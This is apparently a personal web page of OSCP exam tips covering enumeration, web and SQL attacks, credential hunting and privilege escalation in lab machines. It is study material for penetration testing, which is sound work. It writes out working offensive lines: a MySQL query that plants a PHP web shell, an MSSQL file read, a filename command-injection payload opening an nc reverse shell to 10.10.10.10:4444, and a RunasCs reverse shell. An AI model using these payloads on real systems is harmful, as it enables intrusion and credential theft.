Skip to main content

​
Introduction

If you’re looking for a more detailed methodology for navigating OSCP boxes, check this out. The tips here are some quick tricks to try when you are running out of ideas.

​
General Tips (Applicable to all OS)

​
Initial Foothold

​
Initial Scans & Enumeration

Scans can sometimes return false positives or missing ports due to different reasons.
  • Revert all the machines at the start of the exam.
  • Revert & rescan the machines midway through your exam, especially when you cannot find a way through.

​
Shells & Connections

Always prioritize using open ports on the target machine for listening to reverse shells (i.e., the listening port on our Kali when running netcat listener.)
  • Open ports on the target machine are more likely to have exceptions for inbound & outbound connections.
  • Alternatively, try common ports: 21, 22, 139, 445, 80, 443, 3389, etc.
  • Port 4444 is usually blocked for security reasons.

​
File Shares

When there is a file share (e.g., SMB / FTP) and a web server running together on the machine, always check if the web server hosted under the file share’s directory. If that’s the case, check if we can:
  • Upload a web shell to the file share, and trigger it via the web page.
  • Read sensitive config files and look for credentials to access the web page.

​
Web Services

Content Discovery & Enumeration
Here are all my directory busting tips and tricks:
  • Try 2 or more different directory busting tools, as well as wordlists. Personally I use FeroxBuster and DirSearch, with /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt, /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt and /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt.
  • Always do recursive directory busting.
    • FeroxBuster does this by default, but it can be slow sometimes.
  • Try add file extensions (e.g., .pdf, .php, etc.) if the initial busting returns nothing.
    • For example, /index may returns 404, but /index.php may returns 200.
  • Try add box name / service name / username as the first directory.
    • For example, if you suspect WordPress is running on the web server, but you can’t find anything, try do directory busting with this base URL instead: example.com/wordpress/.
  • For Directory-like results that do not show as “Open Directory Listing ” (e.g., example.com/test/), always try visit the URL anyway, as some pages are configured with hidden index pages.
Manual Enumerations
Always look for potential usernames / emails / credentials on page contents.
  • Check the rendered client-side HTML & JavaScript codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
  • Understand all functionalities, such as user login, file upload, etc, so that you can focus on or skip relevant attack vectors based on the existing functions.
  • If you have access to the source code (e.g., from dumping the .git directory), look for hardcoded credentials, session tokens, or vulnerable functions that may allow attacks such as LFI, SQLi, RCE, etc.
Path Traversal & File Inclusion
Download functions are often vulnerable to File Inclusion, especially with parameters such as /download.php?file=.
  • If the user supplied file name / path is not validated & sanitized, attackers may retrieve arbitrary file from the server.
Business Logic
If file upload is possible, it is usually the following scenarios:
  1. We can upload and access a web shell / reverse shell (May require restriction bypass).
  2. We can overwrite some important system files and bypass authentication.
    • E.g., Overwriting the SSH public key with our public key.
  3. We can upload a malicious file and wait for user interactions.
    • Less likely in the exam - and there should be hints if it is intended (e.g., “An administrator will review this file.”)
  4. It is also possible that there is a parsing vulnerability that would lead to remote code execution by uploading a malicious file (e.g., ZIP slip, XXE injections, XSS attacks, etc.).
  5. It is a rabbit hole :’(
Input Validation
Don’t just spam 'OR 1=1 -- // for potential SQL injections, as SQLi is not always about authentication bypass. Here are a few SQL injections tips & tricks:
  • Using ' is the most common way to test for error-based SQL injections. However, don’t miss out on Blind SQLi (with sleep /delay functions). Try double quotes too (").
  • If SQL injection is possible, try the following items:
    • Authentication Bypass
    • Remote Code Execution (MySQL UDF, MSSQL xp_cmdshell, etc.)
    • Dumping Database Info
    • System File Read / File Write
  • Pay attention to the SQL service in use, as different SQL services have different syntaxes.
    • For example, commenting out is -- - in MSSQL, but -- // in MySQL.
File Permissions
There is a lot that we can look for with local file read vulnerability.
  • /etc/passwd & /etc/shadow files on Linux.
  • SSH Keys (Usually located under /home/<user>/.ssh on Linux, or C:\Users\<user>\.ssh on Windows. They can also be on the user’s Desktop, or other similar folders.)
    • Especially when you see SSH is up on the server.
  • Config files (Especially for web servers & file shares)
    • May require some research on the applications, languages, and services in use. Go through the documentations if needed.
    • Files like config.php in PHP applications usually hold the database credentials.
    • .htaccess may contain useful information. It usually lies on the web root.
  • Log Files (E.g., Access Logs, Error Logs, etc.)
  • History Files (E.g., Bash History, PowerShell History)
  • For Linux: /proc files. (See more here)

​
Databases

Always check if the SQL service allows file read / write. Follow the same tips on exploiting file read & write in the Web Service section.For MSSQL:
File Read
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Enabling File Write
-- Requires Admin Privilege
sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'Ole Automation Procedures', 1; RECONFIGURE
For MySQL:
File Read
SELECT LOAD_FILE("/etc/passwd");
File Write
SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';

​
Login & Password Attacks

Always try default or weak credentials - admin / admin, admin / password, you name it. These are easy quick wins and should always be tried first before doing any hard work.
  • Google the service name & version + default credentials.
  • Try admin:admin and all those similar combinations of common credentials.

​
QoL Tips & Troubleshooting

Using Public Exploits
When in doubt, always just revert the machine.
  • Sometimes our previous exploitation attempts may have caused unexpected behaviours in the target machine.
  • I once tried to set up some port-forwarding rules on the machine to run an exploit, but I was using the wrong exploit, so the attack did not work. I later found and ran the correct exploit, but it was not working as intended, likely due to the previous port-forwarding attempts. Reverting the machine solved the issue.
Troubleshooting Payloads
Try to encode your payloads in different formats when they are not working (and you believe they are supposed to).
  • Always URL-encode the payloads for web exploits, especially those that are sent through URLs (GET requests).
Here is another example payload of inject a command into a Linux file name:
cp cat.jpg '|cat"`nc 10.10.10.10 4444 -e /bin/bash`".jpg'
  • This will not work due to the slash in /bin/bash . The Linux system cannot process filenames with slashes.
  • To make this exact payload work, we have to encode the payload in Base64: 
cp cat.jpg '|en"`echo <base64-encoded-payload> | base64 -d | bash`".jpg'

​
Privilege Escalation

​
Initial Scans & Enumeration

Always run multiple different enumeration scripts when stuck.
  • For example, I always run WinPEAS, PowerUp.ps1, and jaws-enum.ps1 on a Windows target, as each of them has a different way of presenting their output, and they sometimes use different methods in checking the same vulnerabilities.
  • For Active Directory targets, I always run bloodhound-python-ce and rusthound-ce as they have slightly different implementations and often times find some misconfigurations that the other one misses.
  • For Linux, I mostly run linpeas.sh because it is just too good. But other tools such as LinEnum and unix-privesc-check are also available.
  • This also helps to filter out potential false positives.

​
Service Enumeration

Don’t sleep on the service version when performing privilege escalations. The attack path could be to exploit an outdated and vulnerable internal application with publicly available exploits.
  • You can check them either by interacting with the binary in CLI (e.g., adding -h), or running the application in GUI and check the about section.

​
Login & Password Attacks

Similar to what we do in initial access, we can run password spraying attacks on any service that has an authentication function.
  • For example, try using the user’s password on the web application to authenticate to the sudo command. Try using another user’s password to authenticate too.
  • Perhaps the database password can also be used to authenticate to other services. Always remember to try all combinations.
  • I personally find it useful to have a list of all usernames and passwords on my notes whenever I am doing a box.

​
Hunting Sensitive Information

Always enumerate config files for more credentials, even after you obtained an initial shell.
  • Say if you uploaded a web shell and has successfully obtained a shell as www-root. We should always go back to the web server directory and go through all the readable config files to look for hard-coded credentials. In many cases, we may find database connection credentials that were previously unknown to us.
  • As password reuse is very common, we can try to use the obtained credentials as is, or we can also spray the password to other usernames to see if different users share the same password.
  • A QoL tip: password hashes in web app configs may be encoded (e.g., base64). Always throw them in CyberChef to see if they may be encoded.

​
Pivoting & Lateral Movements

Quite often the attack path can involve lateral movements between multiple users, before reaching the final root account. So if you see more than one users in under the /home or c:\users directory, there is a high likelihood that several lateral movements are needed.
  • Let’s say you obtained a shell as www-data. It is possible that you cannot escalate to root directly from www-data, but instead have to find a password in the web config file, spray that password on a local user john, then you exploit an internal service as john to gain access to another user peter, and finally escalate to root by sudo with peter.

​
Linux-specific Tips

​
Privilege Escalation

​
Services & Processes

Run strings & strace on suspicious binaries.
  • This may reveal plaintext passwords, commands, other executables being called, potential Shared Object injection, etc.

​
Hunting Sensitive Information

Don’t forget to run the alias command to check what command alias were set.
  • In realistic scenarios, system administrators may have created command alias for commonly used commands, and some of these commands may contain user credentials.

​
Group Membership

Group Membership can be a privilege escalation vector if our user belongs to some of the privileged groups. Also check if other users are in these interesting groups, as they may be the target for lateral movements.
  • Common privileged groups on Linux:
    • LXC / LXD (Abusing Container Privileges)
    • Docker (Abusing Container Privileges)
    • Disk (Full File Read & Write Privileges)
    • ADM (Privileges to Read Logs)

​
Scheduled Tasks / Cron Jobs

Pspy is the best tool to monitor all processes and potential cronjobs on a Linux machine.
  • We can monitor all live running processes without needing root privileges. This is extremely useful for detecting cronjobs that runs in a fixed interval (e.g., 1 minute),
  • This is especially useful when we do not have access to crontab, or crontab is not showing anything but we suspect there are cronjobs.

​
Windows-specific Tips

​
Initial Foothold

​
Coercion Attacks

Suppose this is the intended attack path, there should be hints on locations and areas that users may visit and interact with.
  • For example, there may be a feedback form with a note saying that the administrator will go through all of the comments.
  • Alternatively, it is also possible that we can force an NTLM theft without needing the user to react to our payloads. Try to look for user input areas where we can direct the connection towards our controlled SMB server, for examples:
    • xp_dirtree in MSSQL.
    • File Inclusion that allows visiting an SMB share.
    • A function that will visit any URLs (including SMB URIs).

​
Shells & Connections

When running a Windows reverse Shells, always use the PowerShell Base64 payload, as it is less likely to be corrupted midway during transmission.

​
Privilege Escalation

​
Kernel exploits

If we are certain that the kernel is vulnerable, we should always try to run a few different applicable exploits, since not all of them may work due to multiple reasons.

​
Group Memberships

Sometimes we may have compromised a LOCAL SERVICE or NETWORK SERVICE account, but its privileges were missing. This is because the account may be configured to be running with a restricted sets of privileges.
  • It is possible to recover its permissions by creating a scheduled task. The new process created by the Task Scheduler Service will have all the default privileges of the associated user account.
  • You may read more about this on here and here.
The above method was patched in the newer versions of Windows. To restore the service account’s full privilege, we need to login with a service logon type (5) token. This can be achieved by running RunasCs.exe if we have the cleartext password of the service account that we control.
.\RunasCs.exe '<svc_acc>' '<password>' powershell.exe -r 10.10.10.10:4444 --logon-type 5 --bypass-uac
Last modified on December 21, 2025